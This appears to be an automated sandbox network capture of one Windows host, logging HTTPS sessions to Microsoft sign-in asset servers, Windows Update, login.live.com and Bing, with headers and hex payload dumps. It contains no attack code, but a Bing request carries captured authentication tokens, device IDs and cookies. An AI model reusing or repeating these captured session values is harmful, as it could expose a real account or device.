2024-09-16 19:11:20 UTC	621	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 7d 55 4d 6f 22 31 0c fd 2b a3 d9 ab 93 c9 f7 47 3b 20 cd 9e 38 6c af 1c b8 4d 0b 05 24 0a 55 19 41 57 ab fe f7 b5 93 a0 55 61 58 0d d8 60 27 ef 3d db 09 b4 c7 d3 ba fa 7c db ed 8f 93 7a 33 0c ef 0f 4d 73 3e 9f f9 59 f3 c3 c7 ba 51 42 88 06 57 d4 d5 79 bb 1c 36 93 da 84 ba da ac b6 eb cd 90 3f 9f b6 ab f3 cf c3 e7 a4 16 95 a8 4c c0 57 3d 6d 97 ab d7 e3 b4 3d 0e bf 77 ab 29 ef ff bc 6e 77 bb 87 fd 61 bf 7a fc e2 cf f9 db 0f 23 e8 79 fc 6a 9b bc ac 6d f2 a6 8f d5 cb 50 bd ec fa 23 ca e9 ef b1 36 d3 f6 bd 1f 36 97 75 cf 75 b5 9c d4 4f 46 80 56 dc fa 30 37 62 a6 d5 5c bb 99 0a 73 ad 66 ca cc 55 e0 de b9 4e 0a ee 42 84 e2 04 3e 12 64 04 2d 7a 0c a5 78 89 32 cb ad f1 4c 72 0b 52 72 29 dc c5 e5 ac e2 4a 46 cc 7a 19 3b 4c 68 af a1 b8 Data Ascii: }UMo"1+G; 8lM$UAWUaX`'=\|z3Ms>YQBWy6?LW=m=w)nwaz#yjmP#66uuOFV07b\sfUNB>d-zx2LrRr)JFz;Lh

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.16	49726	152.199.21.175	443	5892	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-16 19:11:20 UTC	619	OUT	GET /shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-16 19:11:21 UTC	738	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 15216510 Cache-Control: public, max-age=31536000 Content-MD5: DhdidjYrlCeaRJJRG/y9mA== Content-Type: image/svg+xml Date: Mon, 16 Sep 2024 19:11:20 GMT Etag: 0x8D7B007297AE131 Last-Modified: Wed, 12 Feb 2020 22:01:50 GMT Server: ECAcc (lhc/7905) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: d3446af8-801e-0093-5307-7ec057000000 x-ms-version: 2009-09-19 Content-Length: 1864 Connection: close
2024-09-16 19:11:21 UTC	1864	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 39 32 30 22 20 68 65 69 67 68 74 3d 22 31 30 38 30 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 3e 3c 67 20 6f 70 61 63 69 74 79 3d 22 2e 32 22 20 63 6c 69 70 2d 70 61 74 68 3d 22 75 72 6c 28 23 45 29 22 3e 3c 70 61 74 68 20 64 3d 22 4d 31 34 36 36 2e 34 20 31 37 39 35 2e 32 63 39 35 30 2e 33 37 20 30 20 31 37 32 30 2e 38 2d 36 32 37 2e 35 32 20 31 37 32 30 2e 38 2d 31 34 30 31 2e 36 53 32 34 31 36 2e 37 37 2d 31 30 30 38 20 31 34 36 36 2e 34 2d 31 30 30 38 2d 32 35 34 2e 34 2d 33 38 30 2e 34 38 32 2d 32 35 34 2e 34 20 33 39 33 2e 36 73 37 37 30 2e 34 32 38 20 31 34 30 31 2e 36 20 31 37 32 30 2e 38 20 31 34 30 31 2e 36 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1401.6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.16	49730	13.107.253.72	443	5892	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-16 19:11:21 UTC	402	OUT	GET /ests/2.1/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-16 19:11:22 UTC	757	IN	HTTP/1.1 200 OK Date: Mon, 16 Sep 2024 19:11:22 GMT Content-Type: image/x-icon Content-Length: 17174 Connection: close Cache-Control: public, max-age=604800 Last-Modified: Fri, 02 Nov 2018 20:25:25 GMT ETag: 0x8D6410152A9D7E1 x-ms-request-id: 4cd085dd-f01e-001e-1c09-071023000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240916T191121Z-1856584f8f9sjk6sz9fwfyxycc00000004a000000000s64t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-09-16 19:11:22 UTC	15627	IN	Data Raw: 00 00 01 00 06 00 80 80 10 00 00 00 00 00 68 28 00 00 66 00 00 00 48 48 10 00 00 00 00 00 e8 0d 00 00 ce 28 00 00 30 30 10 00 00 00 00 00 68 06 00 00 b6 36 00 00 20 20 10 00 00 00 00 00 e8 02 00 00 1e 3d 00 00 18 18 10 00 00 00 00 00 e8 01 00 00 06 40 00 00 10 10 10 00 00 00 00 00 28 01 00 00 ee 41 00 00 28 00 00 00 80 00 00 00 00 01 00 00 01 00 04 00 00 00 00 00 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 ba 7f 00 22 50 f2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 Data Ascii: h(fHH(00h6 =@(A(("P"""""""""""""""""""""""""""""" 333333333333333
2024-09-16 19:11:22 UTC	1547	IN	Data Raw: 00 00 00 00 00 01 80 00 00 00 00 00 00 01 80 00 00 00 00 28 00 00 00 20 00 00 00 40 00 00 00 01 00 04 00 00 00 00 00 80 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 bc 7b 00 1f 4c f9 00 22 50 f2 00 f7 a6 00 00 00 ba 7f 00 f3 a6 00 00 1e 4e f6 00 23 4e f4 00 f3 a4 00 00 00 bc 7d 00 00 ba 7d 00 00 00 00 00 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 Data Ascii: ( @{L"PN#N}}"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333""""

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.16	49729	13.107.253.72	443	5892	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-16 19:11:21 UTC	418	OUT	GET /shared/1.0/content/images/signin-options_4e48046ce74f4b89d45037c90576bfac.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-16 19:11:21 UTC	799	IN	HTTP/1.1 200 OK Date: Mon, 16 Sep 2024 19:11:21 GMT Content-Type: image/svg+xml Content-Length: 621 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Tue, 10 Nov 2020 03:41:24 GMT ETag: 0x8D8852A7FA6B761 x-ms-request-id: 2e2f5142-e01e-003d-6b40-088ae0000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240916T191121Z-15f6d9499ffqf4szqf5ftdgnpg000000043000000000462e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-09-16 19:11:21 UTC	621	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 7d 55 4d 6f 22 31 0c fd 2b a3 d9 ab 93 c9 f7 47 3b 20 cd 9e 38 6c af 1c b8 4d 0b 05 24 0a 55 19 41 57 ab fe f7 b5 93 a0 55 61 58 0d d8 60 27 ef 3d db 09 b4 c7 d3 ba fa 7c db ed 8f 93 7a 33 0c ef 0f 4d 73 3e 9f f9 59 f3 c3 c7 ba 51 42 88 06 57 d4 d5 79 bb 1c 36 93 da 84 ba da ac b6 eb cd 90 3f 9f b6 ab f3 cf c3 e7 a4 16 95 a8 4c c0 57 3d 6d 97 ab d7 e3 b4 3d 0e bf 77 ab 29 ef ff bc 6e 77 bb 87 fd 61 bf 7a fc e2 cf f9 db 0f 23 e8 79 fc 6a 9b bc ac 6d f2 a6 8f d5 cb 50 bd ec fa 23 ca e9 ef b1 36 d3 f6 bd 1f 36 97 75 cf 75 b5 9c d4 4f 46 80 56 dc fa 30 37 62 a6 d5 5c bb 99 0a 73 ad 66 ca cc 55 e0 de b9 4e 0a ee 42 84 e2 04 3e 12 64 04 2d 7a 0c a5 78 89 32 cb ad f1 4c 72 0b 52 72 29 dc c5 e5 ac e2 4a 46 cc 7a 19 3b 4c 68 af a1 b8 Data Ascii: }UMo"1+G; 8lM$UAWUaX`'=\|z3Ms>YQBWy6?LW=m=w)nwaz#yjmP#66uuOFV07b\sfUNB>d-zx2LrRr)JFz;Lh

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.16	49731	152.199.21.175	443	5892	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-16 19:11:21 UTC	419	OUT	GET /shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-16 19:11:22 UTC	738	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 15216512 Cache-Control: public, max-age=31536000 Content-MD5: DhdidjYrlCeaRJJRG/y9mA== Content-Type: image/svg+xml Date: Mon, 16 Sep 2024 19:11:22 GMT Etag: 0x8D7B007297AE131 Last-Modified: Wed, 12 Feb 2020 22:01:50 GMT Server: ECAcc (lhc/7905) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: d3446af8-801e-0093-5307-7ec057000000 x-ms-version: 2009-09-19 Content-Length: 1864 Connection: close
2024-09-16 19:11:22 UTC	1864	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 39 32 30 22 20 68 65 69 67 68 74 3d 22 31 30 38 30 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 3e 3c 67 20 6f 70 61 63 69 74 79 3d 22 2e 32 22 20 63 6c 69 70 2d 70 61 74 68 3d 22 75 72 6c 28 23 45 29 22 3e 3c 70 61 74 68 20 64 3d 22 4d 31 34 36 36 2e 34 20 31 37 39 35 2e 32 63 39 35 30 2e 33 37 20 30 20 31 37 32 30 2e 38 2d 36 32 37 2e 35 32 20 31 37 32 30 2e 38 2d 31 34 30 31 2e 36 53 32 34 31 36 2e 37 37 2d 31 30 30 38 20 31 34 36 36 2e 34 2d 31 30 30 38 2d 32 35 34 2e 34 2d 33 38 30 2e 34 38 32 2d 32 35 34 2e 34 20 33 39 33 2e 36 73 37 37 30 2e 34 32 38 20 31 34 30 31 2e 36 20 31 37 32 30 2e 38 20 31 34 30 31 2e 36 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1401.6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.16	49734	40.127.169.103	443

Timestamp	Bytes transferred	Direction	Data
2024-09-16 19:11:56 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=SBGXGboh+nPrCKx&MD=h1lTAwTn HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-09-16 19:11:56 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: 400695ee-e2dd-4959-910f-214bea50c8c0 MS-RequestId: 35a49f0c-6fff-4235-b4bd-a907497fb235 MS-CV: k3yAnAnSAE6CMKvz.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Mon, 16 Sep 2024 19:11:56 GMT Connection: close Content-Length: 30005
2024-09-16 19:11:56 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-09-16 19:11:56 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.16	49735	40.126.32.138	443

Timestamp	Bytes transferred	Direction	Data
2024-09-16 19:12:05 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4828 Host: login.live.com
2024-09-16 19:12:05 UTC	4828	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-09-16 19:12:06 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Mon, 16 Sep 2024 19:11:05 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C538_BAY x-ms-request-id: be89e135-749c-4549-b09c-0f5a27252cd3 PPServer: PPV: 30 H: PH1PEPF00011EE3 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 16 Sep 2024 19:12:05 GMT Connection: close Content-Length: 11177
2024-09-16 19:12:06 UTC	11177	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.16	49736	2.23.209.160	443

Timestamp	Bytes transferred	Direction	Data
2024-09-16 19:12:06 UTC	2689	OUT	GET /client/config?cc=CH&setlang=en-CH HTTP/1.1 X-Search-CortanaAvailableCapabilities: None X-Search-SafeSearch: Moderate Accept-Encoding: gzip, deflate X-Device-MachineId: {92C86F7C-DB2B-4F6A-95AD-98B4A2AE008A} X-UserAgeClass: Unknown X-BM-Market: CH X-BM-DateFormat: dd/MM/yyyy X-Device-OSSKU: 48 X-BM-DTZ: -240 X-DeviceID: 01000A4109009A83 X-BM-WindowsFlights: FX:119E26AD,FX:11C0E96C,FX:11C6E5C2,FX:11C7EB6A,FX:11C9408A,FX:11C940DB,FX:11CB9A9F,FX:11CB9AC1,FX:11CC111C,FX:11D5BFCD,FX:11DF5B12,FX:11DF5B75,FX:1240931B,FX:124117A5,FX:124B38D0,FX:127FC878,FX:1283FFE8,FX:12840617,FX:128979F9,FX:128EBD7E,FX:129135BB,FX:129E053F,FX:12A74DB5,FX:12AB734D,FX:12B8450E,FX:12BD6E73,FX:12C3331B,FX:12C7D66E,FX:12CDE644,FX:12D1574C,FX:12D281C4,FX:12E8312D,FX:12E85C75 X-Search-TimeZone: Bias=300; DaylightBias=-60; TimeZoneKeyName=Eastern Standard Time X-BM-Theme: 000000;0078d7 X-Search-RPSToken: t%3DEwDoAkR8BAAUcvamItSE/vUHpyZRp3BeyOJPQDsAAfQshaazS7jh1tAw1F25QmTQFVGx33869nxELIiS7mN2X29i3OYaVXS15/kQ3IyAVLrsyIPMtNIBC1zu157TWjYentnhfAOZwCQyUL9tufqPUstIOE%2BsiKynPQHBrIOVCEPnjUzCM3n%2BhKvEPVuf1xQt2Lm3eAtKHrgj8yx19gcvxaMd20BYnvfCh19k9uN4bVISfHdCZe9MGKT//y4VWLPd4tLC2kfGZIpyQjyCFEtrpYYXbumUTX1AEdSSEurao%2BshaI7pOp6QP8ZeN5uu2FMcNsydZj0efn%2BkBbzc4W3FEvqvbS8fUSDu7FJatW9Y%2BuS7InKo6DeqlC7UqbU5VyQQZgAAENKXeyF78Uq9TztIdjTbsNGwASshVSraM869gyDvfkPJ/cv16ST5yAkNX8s2lXEP37V/5uaxIbcLG%2BexiBxok2wYova84TaN8bwgmCCXyY%2B8Xn5Q1eoza31NRisc181QUVyy5LrwxkgwJ7g4ujNoymKEiS3NG2vT3Lo9sJdqjQPmnf0JyKkhcbhgE4W4iq1dvDI9vIWjuGr/gLcDiXqgRrdbzXCSpyiG55sOV1rhkDSZRRnHx5PR90Cfx%2BSNwcIajka4hDH1BMp3l/Zb//D4E6mVhU7Ac1QwM2C8fdPhxz45d/51UMLf0rQnJkND0tHLym9PELOTN8EhgJJ1CedyegKlt7ZGIv9BqXkT6kUSvWYv3Ei/lRgYh8nc/8SdJlPlyPLO1q8xlOGxyNtzA1WwkD%2B2/UN3DvGie%2BjQIBXiNoaz9DpdXV63Zb54BCbEcRniq%2BRx2rhMrFY//urprsZ2hisddl0Uw6mMNdTu0voEBaDTReSZJPqKzW84CfLVBUNPESgADdYRTsTJtn6l0BOqFSMpiU8EdBz%2BQQiHlU/U9aCB2z9phrA92DSicriZ0jnqBEr578uFljKE8 [TRUNCATED] X-Agent-DeviceId: 01000A4109009A83 X-BM-CBT: 1726513924 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 X-Device-isOptin: false Accept-language: en-GB, en, en-US X-Device-Touch: false X-Device-ClientSession: 046153DF058A4A259CC9797CD6E1C5B3 X-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUI Host: www.bing.com Connection: Keep-Alive Cookie: SRCHUID=V=2&GUID=E0DD87A720F84B6F91D233EB006F66A1&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20240207; SRCHHPGUSR=SRCHLANG=de&HV=1707317784&IPMH=3a628620&IPMID=1707317755885; MUID=5047E5942BB2460EA35B53CCF78DDB3D; MUIDB=5047E5942BB2460EA35B53CCF78DDB3D
2024-09-16 19:12:07 UTC	1319	IN	HTTP/1.1 200 OK Content-Length: 2215 Content-Type: application/json; charset=utf-8 Cache-Control: private X-EventID: 66e883072d134be78314ef3a4a53d229 X-AS-SetSessionMarket: de-ch UserAgentReductionOptOut: A7kgTC5xdZ2WIVGZEfb1hUoNuvjzOZX3VIV/BA6C18kQOOF50Q0D3oWoAm49k3BQImkujKILc7JmPysWk3CSjwUAAACMeyJvcmlnaW4iOiJodHRwczovL3d3dy5iaW5nLmNvbTo0NDMiLCJmZWF0dXJlIjoiU2VuZEZ1bGxVc2VyQWdlbnRBZnRlclJlZHVjdGlvbiIsImV4cGlyeSI6MTY4NDg4NjM5OSwiaXNTdWJkb21haW4iOnRydWUsImlzVGhpcmRQYXJ0eSI6dHJ1ZX0= X-XSS-Protection: 0 P3P: CP="NON UNI COM NAV STA LOC CURa DEVa PSAa PSDa OUR IND" Date: Mon, 16 Sep 2024 19:12:07 GMT Connection: close Set-Cookie: _EDGE_S=SID=2195A0057EB76A403162B4F97FBF6B1B&mkt=de-ch; domain=.bing.com; path=/; HttpOnly Set-Cookie: SRCHHPGUSR=SRCHLANG=en&HV=1707317784&IPMH=3a628620&IPMID=1707317755885; domain=.bing.com; expires=Sat, 11-Oct-2025 19:12:07 GMT; path=/; secure; SameSite=None Set-Cookie: ANON=A=6167974D1A7C78361D9CC53BFFFFFFFF; domain=.bing.com; expires=Sat, 11-Oct-2025 19:12:07 GMT; path=/; secure; SameSite=None Set-Cookie: WLS=C=0000000000000000&N=; domain=.bing.com; path=/; secure; SameSite=None Set-Cookie: _SS=SID=2195A0057EB76A403162B4F97FBF6B1B; domain=.bing.com; path=/; secure; SameSite=None Alt-Svc: h3=":443"; ma=93600 X-CDN-TraceID: 0.20d01702.1726513927.ff04eed
